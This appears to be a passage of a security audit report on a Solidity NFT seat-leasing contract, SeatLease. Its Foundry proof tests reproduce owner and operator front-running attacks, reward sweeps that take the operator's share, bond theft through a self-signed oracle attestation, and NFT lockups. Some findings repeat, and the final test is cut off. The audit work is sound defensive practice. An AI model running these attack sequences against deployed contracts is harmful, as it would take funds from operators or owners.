  Mirror of the previous finding, from the owner side. cut() (lines 309-316) clears the operator at any time and sweep() then pays 100% of every booked balance to the owner, including balances booked while the operator was seated and working. The operator's only defence is to sweep first, but the rewards the design is built around ('per-launch distributors that pay the holder') can only be pulled with claim(), which is owner-only (line 397).

  The owner therefore cuts first and claims afterwards, and the operator can never force those rewards to be booked during its tenure. This is the retroactive-sweep amplifier (an admin action rewrites who receives a value already credited), not a plain trust assumption: it converts the promised split into 'owner pays the operator if it feels like it'.

  An owner who deposited from a contract that rejects ETH (or is blocklisted for the reward token) reaches the same outcome by a second path: sweep reverts on the owner's push (line 445) so the operator can never be paid, and after cut/withdraw/re-deposit from a fresh address the owner sweeps 100%.

  Fix (same as the previous finding): attribute booked amounts to the operator seated at booking time and pay the recorded beneficiary on sweep regardless of who is seated later; and/or let the current operator call claim() for its seat so distributor rewards can be booked during its tenure (claim already guards the NFT and booked balances, so the target-call surface does not grow).

  whole finding

  State: owner deposits seat 1 Permissioned, ownerBps=5000, allowedOperator=operator; operator calls take(1). payer calls credit(1, reward, 1000e18) while operator is seated: credited(1, reward)=1000e18. owner calls cut(1); anyone calls sweep(1, reward).

  Expected: operator receives 500e18 (its half of a balance booked during its tenure).

  Actual: reward.balanceOf(operator) == 0, reward.balanceOf(owner) == 1000e18.

  Variant with distributor rewards: distributor.setReward(lease, 1000e18, 0); operator cannot call claim (NotSeatOwner); owner calls cut(1) then claim(1, distributor, claim(), [reward]) then sweep: operator receives 0.

  Proof test test/scratch/CutThenSweep.t.sol fails with 'operator's share of rewards booked while seated was taken: 0 != 500000000000000000000'.

  whole reproduction
  proof · a Foundry test the fix has to pass

  // SPDX-License-Identifier: MIT
  pragma solidity ^0.8.26;
  
  import {Test} from "forge-std/Test.sol";
  import {SeatLease} from "src/SeatLease.sol";
  import {MockSeatNFT} from "src/mocks/MockSeatNFT.sol";
  import {MockERC20} from "src/mocks/MockERC20.sol";
  import {MockDistributor} from "src/mocks/MockDistributor.sol";
  
  /// @dev The mirror of the take-then-sweep extraction: the owner can retroactively take the operator's share of
  ///      rewards that were booked while the operator was seated, by calling cut() before sweep(). Worse, rewards
  ///      that distributors pay the holder can only be pulled with claim(), which is owner-only, so the owner can
  ///      simply cut first and claim afterwards: the operator can never force those rewards to be booked while it
  ///      is seated.
  ///      Fails on the current code (operator receives 0 of a 50/50 seat). Passes once booked amounts are
  ///      attributed to the operator seated at booking time, or once the operator may call claim for its seat.
  contract CutThenSweepProof is Test {
      MockSeatNFT nft;
      MockERC20 bond;
      MockERC20 reward;
      MockDistributor distributor;
      SeatLease lease;
  
      address owner = makeAddr("owner");
      address operator = makeAddr("operator");
      address payer = makeAddr("payer");
  
      uint256 constant TOKEN_ID = 1;
      uint256 constant REWARD = 1_000e18;
  
      function setUp() public {
          nft = new MockSeatNFT();
          bond = new MockERC20("Bond", "BOND");
          reward = new MockERC20("Reward", "RWD");
          distributor = new MockDistributor(address(reward));
          lease = new SeatLease(address(nft), address(bond), "IdentityMD Worker", "2");
          nft.mint(owner, TOKEN_ID);
          reward.mint(payer, REWARD);
          vm.warp(1_800_000_000);
      }
  
      function test_ownerCutsBeforeSweepAndKeepsTheOperatorsShare() public {
          // 1. Permissioned 50/50 seat; the operator takes it and runs the seat.
          vm.startPrank(owner);
          nft.approve(address(lease), TOKEN_ID);
          lease.deposit(TOKEN_ID, 5000, SeatLease.Mode.Permissioned, operator, 0, address(0), bytes32(0), "");
          vm.stopPrank();
          vm.prank(operator);
          lease.take(TOKEN_ID);
  
          // 2. 1_000 reward tokens are booked to the seat while the operator is seated.
          vm.startPrank(payer);
          reward.approve(address(lease), REWARD);
          lease.credit(TOKEN_ID, address(reward), REWARD);
          vm.stopPrank();
          assertEq(lease.seat(TOKEN_ID).operator, operator);
          assertEq(lease.credited(TOKEN_ID, address(reward)), REWARD);
  
          // 3. The owner cuts the operator, then anyone sweeps: the seat is vacant, so everything goes to the owner.
          vm.prank(owner);
          lease.cut(TOKEN_ID);
          lease.sweep(TOKEN_ID, address(reward));
  
          // Half of the balance was booked under the operator's tenure and belongs to the operator.
          assertEq(reward.balanceOf(operator), REWARD / 2, "operator's share of rewards booked while seated was taken");
          assertEq(reward.balanceOf(owner), REWARD / 2);
      }
  }

  whole proof

• mediumBond forfeiture is evadable: operator front-runs cutByOracle with quit() and takes the bond backsrc/SeatLease.sol:300

  The bond's only economic purpose is to be forfeited to the owner when the oracle attests misbehaviour (cutByOracle, lines 320-347). But quit() returns the bond immediately and unconditionally, and cutByOracle reverts with SeatVacant (line 327) once the operator is gone. Attestations are produced off-chain, signed, and then submitted by 'anyone'; the operator sees the signed attestation (public oracle feed, or the cutByOracle transaction in the mempool) and calls quit() first.

  The attestation is then worthless: the owner recovers nothing, and in Open mode the same operator can even re-take the seat with a fresh bond in the same block. The cost to the operator is gas; the value protected is the whole bond.

  Fix, with a scope decision for the requester because the task text says quit 'returns bond': make the bond survive quit for a notice period, e.g. quit() moves bondHeld into a per-seat pendingBond with releaseAt = now + NOTICE and clears the operator; redeemBond()/a finalize call pays it after releaseAt; cutByOracle accepts a seat whose pendingBond is still locked (operator recorded as lastOperator) and forfeits it to the owner. cut() by the owner can keep returning the bond immediately, since the owner is the beneficiary of forfeiture.

  whole finding

  State: owner deposits seat 1 Open, bondAmount=100e18, oracleSigner=oracle; operator takes it (bondHeld=100e18, operator bond balance 0).

  Oracle signs OracleAttestation{requestId=keccak('req'), chainId=block.chainid, questionHash=Q, answerType=1, answer=abi.encode(true), expiresAt=now+1h}.

  Before cutByOracle(1, att, sig) is mined, operator calls quit(1): bond.balanceOf(operator) == 100e18, seat vacant. cutByOracle(1, att, sig) then reverts SeatVacant(1).

  Expected: a valid, unexpired, unused attestation issued while the operator was seated forfeits the bond to the owner (owner ends with 100e18).

  Actual: owner has 0, bondOwed(owner) == 0, operator keeps 100e18.

  Proof test test/scratch/QuitFrontRunsOracleCut.t.sol fails with 'forfeited bond never reached the owner: 0 != 100000000000000000000'.

  whole reproduction
  proof · a Foundry test the fix has to pass

  // SPDX-License-Identifier: MIT
  pragma solidity ^0.8.26;
  
  import {Test} from "forge-std/Test.sol";
  import {SeatLease} from "src/SeatLease.sol";
  import {MockSeatNFT} from "src/mocks/MockSeatNFT.sol";
  import {MockERC20} from "src/mocks/MockERC20.sol";
  
  /// @dev The bond exists to be forfeited when the oracle attests the operator misbehaved. But quit() returns the
  ///      bond immediately and unconditionally, and cutByOracle requires an operator. An operator that sees the
  ///      attestation (mempool, or the oracle's public feed) calls quit() first; cutByOracle then reverts with
  ///      SeatVacant and the owner collects nothing. The forfeiture guarantee is evadable at the cost of gas.
  ///      Fails on the current code (owner ends with 0 bond). Passes once a bond stays forfeitable for a notice
  ///      period after quit (quit escrows the bond; cutByOracle may still forfeit it during the window).
  contract QuitFrontRunsOracleCutProof is Test {
      MockSeatNFT nft;
      MockERC20 bond;
      SeatLease lease;
  
      address owner = makeAddr("owner");
      address operator = makeAddr("operator");
      address oracle;
      uint256 oracleKey;
  
      uint256 constant TOKEN_ID = 1;
      uint256 constant BOND = 100e18;
      bytes32 constant QUESTION = keccak256("did the operator misbehave?");
  
      function setUp() public {
          (oracle, oracleKey) = makeAddrAndKey("oracle");
          nft = new MockSeatNFT();
          bond = new MockERC20("Bond", "BOND");
          lease = new SeatLease(address(nft), address(bond), "IdentityMD Worker", "2");
          nft.mint(owner, TOKEN_ID);
          bond.mint(operator, BOND);
          vm.warp(1_800_000_000);
      }
  
      function test_operatorQuitsAheadOfTheAttestationAndKeepsTheBond() public {
          vm.startPrank(owner);
          nft.approve(address(lease), TOKEN_ID);
          lease.deposit(TOKEN_ID, 5000, SeatLease.Mode.Open, address(0), BOND, oracle, QUESTION, "");
          vm.stopPrank();
          vm.startPrank(operator);
          bond.approve(address(lease), BOND);
          lease.take(TOKEN_ID);
          vm.stopPrank();
          assertEq(bond.balanceOf(operator), 0);
  
          // The oracle answers the seat's question with true: the operator misbehaved and the bond is forfeit.
          SeatLease.OracleAttestation memory att = SeatLease.OracleAttestation({
              requestId: keccak256("req"),
              chainId: block.chainid,
              questionHash: QUESTION,
              answerType: lease.ANSWER_TYPE_BOOL(),
              answer: abi.encode(true),
              figure: 0,
              fromBlock: 0,
              toBlock: uint64(block.number),
              blockHash: bytes32(0),
              panelJobId: bytes32(0),
              issuedAt: uint64(block.timestamp),
              expiresAt: uint64(block.timestamp + 1 hours)
          });
          (uint8 v, bytes32 r, bytes32 s) = vm.sign(oracleKey, lease.hashOracleAttestation(att));
          bytes memory sig = abi.encodePacked(r, s, v);
  
          // The operator sees the attestation and quits in the same block, before cutByOracle is mined.
          vm.prank(operator);
          lease.quit(TOKEN_ID);
  
          // The owner's cutByOracle is now a no-op (or a revert); it is submitted through a raw call so the proof
          // records the outcome instead of aborting.
          (bool ok,) = address(lease).call(abi.encodeCall(SeatLease.cutByOracle, (TOKEN_ID, att, sig)));
          ok; // outcome is irrelevant: what matters is where the bond ended up
  
          // A valid, unexpired, unused attestation existed before the operator left. The bond it condemns must
          // reach the owner, not return to the operator. On the current code the operator holds all of it.
          assertEq(bond.balanceOf(owner) + lease.bondOwed(owner), BOND, "forfeited bond never reached the owner");
          assertEq(bond.balanceOf(operator), 0, "operator evaded forfeiture by quitting first");
      }
  }

  whole proof

• mediumRewards that reach the registry outside credit()/claim() can never be booked or swept; anyone can force this on distributors with third-party claimssrc/SeatLease.sol:419

  claim() books only the balance delta measured across its own target.call, credit() books only what it pulls from msg.sender, and there is no other booking path.

  Any reward that arrives by another route (a distributor whose claim(account, ...) is permissionless and pays account, an airdrop, a direct transfer by the network's ops wallet, ETH forced in by selfdestruct) sits in the registry with totalCredited unchanged and is unreachable forever: sweep reverts ZeroAmount, a later claim() measures a zero delta, and no admin exists to recover it.

  Merkle-style distributors (Uniswap's MerkleDistributor pattern, which the network's reserved MerkleDistributor artifact most likely follows) let anyone submit the claim for any account, so a griefer, a helpful bot, or the operator itself can permanently strand every reward a seat is owed at the cost of one transaction.

  This is a periphery x first-principles seam: the contract's whole purpose is to receive and split rewards paid to the holder, and the periphery is not obliged to pay only during a call the owner initiates.

  Fix: add a booking path for unattributed surplus. The registry already knows totalCredited[token]; track totalBondHeld and totalBondOwed as sums, and add skim(tokenId, token) callable by the seat owner (or anyone, booking to the seat named) that books balanceOf(this) - totalCredited[token] - (token == bondToken ? totalBondHeld + totalBondOwed : 0) - (token == 0 ? 0 : 0).

  Attribution among several seats is a policy choice (first come, or the distributor's own per-holder view); either is better than permanent loss. Document the residual assumption in the README if push distributors are declared unsupported.

  whole finding

  State: owner deposits seat 1; a distributor D with claim(address account) pays reward[account] to account; D.setReward(lease, 1000e18). griefer calls D.claim(lease): reward.balanceOf(lease) == 1000e18, credited(1, reward) == 0, totalCredited(reward) == 0. owner calls claim(1, D, claim(lease), [reward]): delta during the call is 0, credited stays 0. sweep(1, reward) reverts ZeroAmount.

  Expected: the 1000e18 the network paid the seat holder is bookable to seat 1 and sweepable by the owner/operator split.

  Actual: no function can ever move it; test/scratch/PushedRewardsStuck.t.sol reproduces the end state (passes as an exploration test, asserting the balance is stuck).

  whole reproduction

• lowwithdraw() uses safeTransferFrom to msg.sender, so a contract owner without onERC721Received can deposit but never withdraw its seatsrc/SeatLease.sol:355

  deposit() pulls the NFT with safeTransferFrom(msg.sender, this) which checks the registry's hook, not the depositor's. withdraw() returns it with safeTransferFrom(this, msg.sender), which requires msg.sender (the depositor) to implement onERC721Received.

  A contract wallet that owned the seat through a plain transferFrom/mint (custom vaults, minimal multisigs, contracts using exec-style forwarding) deposits fine and is then permanently unable to withdraw: there is no recipient parameter and no other path moves the NFT. Self-inflicted, but permanent and easy to hit.

  Fix: withdraw(tokenId) should use transferFrom(address(this), msg.sender, tokenId) (the caller proved custody by depositing), or accept an explicit recipient (withdraw(tokenId, to)) and use safeTransferFrom to that address.

  PlainWallet W (no onERC721Received) owns seat 1.

  W.exec(nft.approve(lease, 1)); W.exec(lease.deposit(1, 5000, Open, 0, 0, 0, 0, '')): succeeds, nft.ownerOf(1) == lease.

  W.exec(lease.withdraw(1)): reverts inside ERC721 with ERC721InvalidReceiver(W).

  Expected: the depositor can always take back a vacant seat.

  Actual: the seat is stuck in the registry forever. test/scratch/WithdrawToNonReceiver.t.sol reproduces it.

• lowsweep() pushes to owner and operator with no escrow fallback, so a recipient that cannot receive blocks the other party's sharesrc/SeatLease.sol:445

  _pay reverts the whole sweep when the ETH call to either party fails (line 678) or when SafeERC20 reverts (blocklisted recipient). Bonds got an escrow (bondOwed / redeemBond) precisely so a failed push never freezes a seat; reward payouts did not.

  Consequences: (a) an owner that rejects ETH or is blocklisted for a reward token freezes the operator's share of that token for as long as the owner chooses, and the operator has no remedy other than quitting (and losing the share, see finding 3); (b) an operator that rejects ETH forces the owner to cut it (tests accept this), which again pays 100% to the owner.

  Fix: on a failed push, credit the amount to a per-account owed mapping (as bondOwed does) and let the recipient pull it with a redeem call; keep the push as the fast path.

  State: owner is EthRejecter E (receive reverts); E deposits seat 1 Open ownerBps=5000; operator takes; stranger credit{value: 1 ether}(1, address(0), 1 ether). sweep(1, address(0)) reverts EthTransferFailed(E, 0.5 ether).

  Expected: the operator's 0.5 ether is payable independently of the owner's ability to receive.

  Actual: the operator's ETH share is unreachable until E moves the NFT to a fresh address and re-deposits, after which a vacant sweep pays E 100% (test_sweep_revertsWhenOwnerRejectsEth in test/SeatLease.rewards.t.sol shows the revert).

  whole reproduction

• infoDeliverables missing from the tree: no README and no recorded Anvil deployment (addresses, tx hashes, blocks)script/Deploy.s.sol:20

  Outside the economics area, noted for completeness. The task requires a README covering every function, event and error, the exact isValidSignature encoding with a worked example, the pairing flow, the oracle cut model and mainnet steps, plus a recorded local Anvil deployment with addresses, tx hashes and blocks. git ls-files shows no README.md at the repository root (only lib/ READMEs) and no broadcast/ or deployment record.

  The operator-facing trust assumptions surfaced above (owner can change terms while vacant, owner chooses the oracle signer, owner can cut at any time and claim afterwards) have nowhere to be documented for operators until it exists.

  Run git ls-files | grep -i readme at the repository root: only lib/forge-std/README.md and lib/openzeppelin-contracts/... are listed. ls broadcast fails.

  Expected per the task: README.md and deployment records committed.

  Actual: absent.

Refused by Codex's safety filter

• mediumtake() commits to no terms: owner can front-run setTerms to swap oracleSigner and forfeit the incoming bond to themselvessrc/SeatLease.sol:280

  Boundary: transaction ordering between setTerms (owner, vacant only) and take (operator). take(tokenId) has no parameter binding the caller to the terms they read (no terms hash, nonce or version), and every term including oracleSigner, questionHash and bondAmount may change up to the block in which take lands. The operator's whole protection against cutByOracle is that oracleSigner is the network oracle; that address is the only thing standing between the bond and the owner, and the owner can replace it with their own key one transaction before the take. The owner then signs an OracleAttestation(answerType=1, answer=abi.encode(true), questionHash=) under this contract's oracle domain and calls cutByOracle, which passes every check (signer matches, question matches, chainId matches, unexpired, fresh requestId) and pays the bond to s.owner. Same-block reordering is enough (public mempool or a builder bundle); a change made a few seconds before the operator's transaction confirms works the same way. bondAmount can also be raised up to the operator's outstanding allowance. Loss is the full bond of any operator who takes an Open seat from an owner willing to race them. Assumption the code makes: the terms an operator sees are the terms they take under. Actual: setTerms and take are unrelated transactions.

  Minimal fix that preserves the requested design: bind the take to the terms, e.g. store a terms hash/version in _setTerms and have take (or an added overload take(tokenId, expectedTermsHash)) revert on mismatch. If the ABI of take(uint256) must stay, a cheaper partial mitigation is to record the block of the last setTerms and revert take when it equals block.number, which defeats same-block reordering but not a change one block earlier; the terms-hash form is the one that closes the hole. Adding a parameter is a scope decision for the author since the brief lists take(tokenId).

  whole finding

  State: seat 7 deposited Open, ownerBps 5000, bondAmount 100e18, oracleSigner = real oracle, questionHash Q.

  Operator has approved 100e18 bond.

  Sequence in one block: (1) owner: setTerms(7, 5000, Open, 0, 100e18, ownerKeyAddress, keccak256('rigged'), listing) — succeeds, seat is vacant; (2) operator: take(7) — succeeds, pulls 100e18; (3) owner: cutByOracle(7, attestation{questionHash=keccak256('rigged'), answerType=1, answer=abi.encode(true), chainId=block.chainid, expiresAt=now+1h, requestId fresh}, sig by ownerKey) — succeeds.

  Expected: the operator cannot lose the bond under an oracle they never agreed to.

  Actual: bond.balanceOf(owner) == 100e18, bond.balanceOf(operator) == 0.

  Proof: test/scratch/TakeTermsFrontRun.t.sol fails with 'owner forfeited the operator's bond under terms the operator never saw: 100000000000000000000 != 0'.

  whole reproduction
  proof · a Foundry test the fix has to pass

  // SPDX-License-Identifier: MIT
  pragma solidity ^0.8.26;
  
  import {Test} from "forge-std/Test.sol";
  import {SeatLease} from "src/SeatLease.sol";
  import {MockSeatNFT} from "src/mocks/MockSeatNFT.sol";
  import {MockERC20} from "src/mocks/MockERC20.sol";
  
  /// @dev take(tokenId) carries no commitment to the terms the operator saw. The owner reorders a setTerms
  ///      in front of the operator's take, swaps oracleSigner to a key they control, and forfeits the bond to
  ///      themselves with a self-signed attestation. Fails on the current code: the owner ends up holding the
  ///      operator's bond.
  contract TakeTermsFrontRunTest is Test {
      bytes32 constant EIP712_DOMAIN_TYPEHASH =
          keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)");
      bytes32 constant ATT_TYPEHASH = keccak256(
          "OracleAttestation(bytes32 requestId,uint256 chainId,bytes32 questionHash,uint8 answerType,bytes answer,uint256 figure,uint64 fromBlock,uint64 toBlock,bytes32 blockHash,bytes32 panelJobId,uint64 issuedAt,uint64 expiresAt)"
      );
  
      MockSeatNFT nft;
      MockERC20 bond;
      SeatLease lease;
  
      address owner;
      uint256 ownerKey;
      address operator = makeAddr("operator");
      address realOracle = makeAddr("realOracle");
      uint256 constant TOKEN_ID = 7;
      uint256 constant BOND_AMOUNT = 100e18;
      bytes32 constant HONEST_QUESTION = keccak256("did operator 7 misbehave?");
  
      function setUp() public {
          (owner, ownerKey) = makeAddrAndKey("owner");
          nft = new MockSeatNFT();
          bond = new MockERC20("Bond", "BOND");
          lease = new SeatLease(address(nft), address(bond), "IdentityMD Worker", "2");
          nft.mint(owner, TOKEN_ID);
          bond.mint(operator, BOND_AMOUNT);
          vm.warp(1_800_000_000);
          vm.roll(100);
      }
  
      function test_ownerFrontRunsTakeWithSelfSignedOracleAndKeepsBond() public {
          // 1. Owner lists the seat with an honest-looking oracle signer. The operator reads these terms.
          vm.startPrank(owner);
          nft.approve(address(lease), TOKEN_ID);
          lease.deposit(
              TOKEN_ID, 5000, SeatLease.Mode.Open, address(0), BOND_AMOUNT, realOracle, HONEST_QUESTION, "fair seat"
          );
          vm.stopPrank();
  
          // 2. Operator approves the bond and broadcasts take(7). Owner sees it and reorders setTerms in front:
          //    same bps, same bond, but oracleSigner = owner's own key and any questionHash.
          bytes32 rigged = keccak256("rigged");
          vm.prank(owner);
          lease.setTerms(TOKEN_ID, 5000, SeatLease.Mode.Open, address(0), BOND_AMOUNT, owner, rigged, "fair seat");
  
          vm.startPrank(operator);
          bond.approve(address(lease), BOND_AMOUNT);
          lease.take(TOKEN_ID); // succeeds against terms the operator never agreed to
          vm.stopPrank();
          assertEq(bond.balanceOf(operator), 0);
  
          // 3. Owner signs a "true" attestation for the rigged question and forfeits the bond to themselves.
          SeatLease.OracleAttestation memory att = SeatLease.OracleAttestation({
              requestId: keccak256("req"),
              chainId: block.chainid,
              questionHash: rigged,
              answerType: lease.ANSWER_TYPE_BOOL(),
              answer: abi.encode(true),
              figure: 0,
              fromBlock: uint64(block.number - 10),
              toBlock: uint64(block.number),
              blockHash: blockhash(block.number - 1),
              panelJobId: keccak256("panel"),
              issuedAt: uint64(block.timestamp),
              expiresAt: uint64(block.timestamp + 1 hours)
          });
          bytes32 domain = keccak256(
              abi.encode(
                  EIP712_DOMAIN_TYPEHASH, keccak256("IdentityMD Oracle"), keccak256("1"), block.chainid, address(lease)
              )
          );
          bytes32 structHash = keccak256(
              abi.encode(
                  ATT_TYPEHASH,
                  att.requestId,
                  att.chainId,
                  att.questionHash,
                  att.answerType,
                  keccak256(att.answer),
                  att.figure,
                  att.fromBlock,
                  att.toBlock,
                  att.blockHash,
                  att.panelJobId,
                  att.issuedAt,
                  att.expiresAt
              )
          );
          (uint8 v, bytes32 r, bytes32 s) = vm.sign(ownerKey, keccak256(abi.encodePacked("\x19\x01", domain, structHash)));
          lease.cutByOracle(TOKEN_ID, att, abi.encodePacked(r, s, v));
  
          // Expected: the operator's bond cannot be forfeited under terms substituted in the same block as the
          // take (or without the operator committing to them). Actual: owner holds the whole bond.
          assertEq(bond.balanceOf(owner), 0, "owner forfeited the operator's bond under terms the operator never saw");
          assertEq(bond.balanceOf(operator) + lease.bondOwed(operator), BOND_AMOUNT, "operator lost the bond");
      }
  }

  whole proof

• mediumquit() returns the bond instantly, so an operator front-runs any cutByOracle and forfeiture can never be enforcedsrc/SeatLease.sol:300

  Boundary: ordering between quit (operator) and cutByOracle (anyone with an attestation). quit has no delay, no condition and no unbonding window: it clears the operator and pushes the whole bond in the same call. cutByOracle requires operator != address(0) and reverts SeatVacant otherwise. An operator who misbehaved knows it before any attestation exists; one who does not watch simply sees cutByOracle in the mempool and sends quit with higher priority. Either way the attestation reverts and the bond is back in the operator's wallet. The bond therefore secures nothing against a rational operator, which is the only operator it needs to secure against; the 'bond forfeited to owner' rule in the brief holds only for operators who neither watch nor know. Assumption: a valid attestation issued while the operator held the seat can be executed against their bond. Actual: the operator decides whether it can.

  Fix options (both change quit semantics and need a scope decision): (a) unbonding window — quit clears the operator immediately but holds the bond for N seconds/blocks, during which cutByOracle against the former operator's pending bond still forfeits it; (b) only allow quit when no attestation for the seat's question is pending, which is not expressible on-chain, so (a) is the practical one. The Open-mode bond, and the oracle cut's economic teeth, are otherwise decorative.

  whole finding

  State: seat 7 Open, bondAmount 100e18, oracleSigner = oracle; operator has taken, bondHeld 100e18.

  The real oracle signs attestation{questionHash=Q, answerType=1, answer=abi.encode(true), chainId=block.chainid, expiresAt=now+1h}.

  Sequence in one block: (1) operator: quit(7) — succeeds, bond.balanceOf(operator)=100e18, seat vacant; (2) owner: cutByOracle(7, attestation, sig) — reverts SeatVacant(7).

  Expected: the owner receives the forfeited 100e18.

  Actual: owner receives 0, operator keeps 100e18.

  Proof: test/scratch/QuitEscapesForfeit.t.sol fails with 'attestation against the just-quit operator was rejected'.

  whole reproduction
  proof · a Foundry test the fix has to pass

  // SPDX-License-Identifier: MIT
  pragma solidity ^0.8.26;
  
  import {Test} from "forge-std/Test.sol";
  import {SeatLease} from "src/SeatLease.sol";
  import {MockSeatNFT} from "src/mocks/MockSeatNFT.sol";
  import {MockERC20} from "src/mocks/MockERC20.sol";
  
  /// @dev quit() returns the bond instantly and unconditionally. An operator who sees a cutByOracle in the
  ///      mempool (or who knows they misbehaved) quits first; the attestation then reverts with SeatVacant and the
  ///      bond is never forfeited. Fails on the current code: the owner receives nothing.
  contract QuitEscapesForfeitTest is Test {
      bytes32 constant EIP712_DOMAIN_TYPEHASH =
          keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)");
      bytes32 constant ATT_TYPEHASH = keccak256(
          "OracleAttestation(bytes32 requestId,uint256 chainId,bytes32 questionHash,uint8 answerType,bytes answer,uint256 figure,uint64 fromBlock,uint64 toBlock,bytes32 blockHash,bytes32 panelJobId,uint64 issuedAt,uint64 expiresAt)"
      );
  
      MockSeatNFT nft;
      MockERC20 bond;
      SeatLease lease;
  
      address owner = makeAddr("owner");
      address operator = makeAddr("operator");
      address oracle;
      uint256 oracleKey;
      uint256 constant TOKEN_ID = 7;
      uint256 constant BOND_AMOUNT = 100e18;
      bytes32 constant QUESTION = keccak256("did operator 7 misbehave?");
  
      function setUp() public {
          (oracle, oracleKey) = makeAddrAndKey("oracle");
          nft = new MockSeatNFT();
          bond = new MockERC20("Bond", "BOND");
          lease = new SeatLease(address(nft), address(bond), "IdentityMD Worker", "2");
          nft.mint(owner, TOKEN_ID);
          bond.mint(operator, BOND_AMOUNT);
          vm.warp(1_800_000_000);
          vm.roll(100);
  
          vm.startPrank(owner);
          nft.approve(address(lease), TOKEN_ID);
          lease.deposit(TOKEN_ID, 5000, SeatLease.Mode.Open, address(0), BOND_AMOUNT, oracle, QUESTION, "seat");
          vm.stopPrank();
          vm.startPrank(operator);
          bond.approve(address(lease), BOND_AMOUNT);
          lease.take(TOKEN_ID);
          vm.stopPrank();
      }
  
      function test_operatorQuitsAheadOfOracleCutAndKeepsBond() public {
          // The real oracle has answered "true": the operator misbehaved. The owner broadcasts cutByOracle.
          SeatLease.OracleAttestation memory att = SeatLease.OracleAttestation({
              requestId: keccak256("req"),
              chainId: block.chainid,
              questionHash: QUESTION,
              answerType: lease.ANSWER_TYPE_BOOL(),
              answer: abi.encode(true),
              figure: 0,
              fromBlock: uint64(block.number - 10),
              toBlock: uint64(block.number),
              blockHash: blockhash(block.number - 1),
              panelJobId: keccak256("panel"),
              issuedAt: uint64(block.timestamp),
              expiresAt: uint64(block.timestamp + 1 hours)
          });
          bytes32 domain = keccak256(
              abi.encode(
                  EIP712_DOMAIN_TYPEHASH, keccak256("IdentityMD Oracle"), keccak256("1"), block.chainid, address(lease)
              )
          );
          bytes32 structHash = keccak256(
              abi.encode(
                  ATT_TYPEHASH,
                  att.requestId,
                  att.chainId,
                  att.questionHash,
                  att.answerType,
                  keccak256(att.answer),
                  att.figure,
                  att.fromBlock,
                  att.toBlock,
                  att.blockHash,
                  att.panelJobId,
                  att.issuedAt,
                  att.expiresAt
              )
          );
          (uint8 v, bytes32 r, bytes32 s) = vm.sign(oracleKey, keccak256(abi.encodePacked("\x19\x01", domain, structHash)));
          bytes memory sig = abi.encodePacked(r, s, v);
  
          // Operator front-runs in the same block.
          vm.prank(operator);
          lease.quit(TOKEN_ID);
  
          // Expected: a valid, unexpired attestation issued while the operator held the seat still forfeits the
          // bond to the owner (e.g. the bond stays claimable-by-oracle for an unbonding window).
          // Actual: cutByOracle reverts SeatVacant and the operator already holds the full bond.
          (bool ok,) = address(lease).call(abi.encodeCall(lease.cutByOracle, (TOKEN_ID, att, sig)));
          assertTrue(ok, "attestation against the just-quit operator was rejected");
          assertEq(bond.balanceOf(owner) + lease.bondOwed(owner), BOND_AMOUNT, "owner never received the forfeited bond");
          assertEq(bond.balanceOf(operator), 0, "operator escaped forfeiture with the full bond");
      }
  }

  whole proof

• lowOwner can cut, claim and sweep in one transaction, taking 100% of rewards the operator earned (reward split is unenforceable for the operator)src/SeatLease.sol:441

  Seam boundary × invariant. The invariant 'operator receives (10000 - ownerBps)/10000 of rewards booked while they operate' is enforced only in the operator != address(0) branch of sweep, and the owner controls both whether that branch is taken (cut is owner-only, any time) and when rewards arrive (claim is owner-only; distributors pay on the owner's call). Nothing ties a booked balance to the operator who was active when it was earned.

  The owner therefore never has to share: cut(tokenId); claim(...); sweep(tokenId, token) in one transaction pays everything to the owner and returns only the bond to the operator. The operator's only defence is to sweep before every cut, which they cannot do because credit/claim and cut/sweep can be bundled.

  The existing tests (test_sweep_unsweptBalanceGoesToOwnerAfterCut, test_sweep_usesTermsAtSweepTimeNotAtCreditTime) pin this as intended, so it is reported as a trust assumption the docs must state plainly: an operator's share is at the owner's discretion, and a seat's advertised ownerBps is not a promise. If the requester wants the split to be a guarantee, the fix is to snapshot the operator (or the operator's share) at booking time, which is a design change.

  whole finding

  State: seat 7 Open, ownerBps 0 (operator advertised 100% of rewards), operator took with bond 100e18; distributor owes the registry 1_000e18 RWD.

  Owner sends one transaction: cut(7) → seat vacant, bond returned to operator; claim(7, distributor, claim(), [RWD]) → 1_000e18 booked to seat 7; sweep(7, RWD) → operator == address(0) so ownerAmount = amount = 1_000e18.

  Expected by the operator: 1_000e18 to operator (ownerBps 0).

  Actual: 1_000e18 to owner, 0 to operator.

• lowwithdraw() uses safeTransferFrom: a contract owner without IERC721Receiver can deposit but never withdraw, locking the seat foreversrc/SeatLease.sol:355

  Boundary: the ERC-721 receiver hook on the return path. deposit only checks seatNFT.ownerOf(tokenId) == msg.sender; a contract obtains a seat via mint or plain transferFrom without implementing onERC721Received (multisigs and vaults that were airdropped or transferred a seat, or that call transferFrom themselves). withdraw returns the NFT with safeTransferFrom(address(this), msg.sender, tokenId), which calls onERC721Received on msg.sender and reverts when it is absent or answers wrongly.

  There is no other path that moves the NFT out (claim refuses the NFT as target and re-checks custody), so the seat is held by the registry permanently, though rewards still flow.

  The owner asked for the NFT back, so the receiver check protects nobody here: transferFrom would return it safely, or deposit could verify the depositor can receive (e.g. require msg.sender.code.length == 0 || IERC721Receiver(msg.sender).onERC721Received(...) returns the selector) before accepting the seat.

  whole finding

  State: PlainOwner is a contract with no onERC721Received; nft.mint(PlainOwner, 7).

  PlainOwner calls nft.approve(lease, 7) then lease.deposit(7, 5000, Permissioned, 0, 0, 0, 0, 'seat') — succeeds, ownerOf(7) == lease.

  PlainOwner calls lease.withdraw(7) — reverts (ERC721InvalidReceiver) inside safeTransferFrom; every retry reverts.

  Expected: the vacant seat's owner recovers the NFT.

  Actual: NFT stays in the registry with no recovery path.

  Proof: test/scratch/WithdrawLocksNft.t.sol fails with 'withdraw reverted for a contract owner without IERC721Receiver: seat locked forever'.

  whole reproduction
  proof · a Foundry test the fix has to pass

  // SPDX-License-Identifier: MIT
  pragma solidity ^0.8.26;
  
  import {Test} from "forge-std/Test.sol";
  import {SeatLease} from "src/SeatLease.sol";
  import {MockSeatNFT} from "src/mocks/MockSeatNFT.sol";
  import {MockERC20} from "src/mocks/MockERC20.sol";
  
  /// @dev A contract owner that holds the seat without implementing IERC721Receiver (mint / plain transferFrom)
  ///      can deposit, but withdraw() uses safeTransferFrom and reverts forever: the seat is locked.
  contract PlainOwner {
      function run(address target, bytes memory data) external returns (bytes memory) {
          (bool ok, bytes memory ret) = target.call(data);
          require(ok, string(ret));
          return ret;
      }
  }
  
